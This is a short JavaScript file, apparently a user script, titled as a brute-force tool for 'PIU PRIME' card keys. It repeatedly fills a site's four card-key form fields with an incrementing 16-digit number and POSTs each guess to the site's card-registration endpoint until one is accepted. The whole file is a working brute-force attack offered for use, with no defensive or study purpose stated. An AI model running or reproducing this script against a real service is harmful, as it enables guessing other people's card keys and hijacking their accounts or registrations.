card key PIU PRIME BRUTE FORCE

PRIME.CARD_KEY.BF.js

card_key = 1111111111111111;
bandera=true;
intervaloPIU = function() {
	var card_keyStr = card_key.toString();
	$("form[name=frmCard] input[name='cardkey1']").val(card_keyStr.substring(0, 4));
	$("form[name=frmCard] input[name='cardkey2']").val(card_keyStr.substring(4, 8));
	$("form[name=frmCard] input[name='cardkey3']").val(card_keyStr.substring(8, 12));
	$("form[name=frmCard] input[name='cardkey4']").val(card_keyStr.substring(12, 16));
	var string = $("form[name=frmCard]").serialize();
	$.ajax({
		type: "POST",
		url: "/bbs/piu.ajax.piu.card.php",
		data: string,
		dataType: 'json',
		success: function(result) {
			console.log(result.main_data);
			var on_error = result.main_data.on_error;
			var message = result.main_data.msg;
			if(on_error == 1) {
				card_key++;
				if(bandera)intervaloPIU();
				else console.log(card_key);
				return false;
			} else {
				alert(message);
				//document.location.replace("/piu.prime/piu.mypage/piu.id_management.php");
				return false;
			}
		},
		error: function() {
			clearInterval(intervaloPIU);
		}
	});
};
intervaloPIU();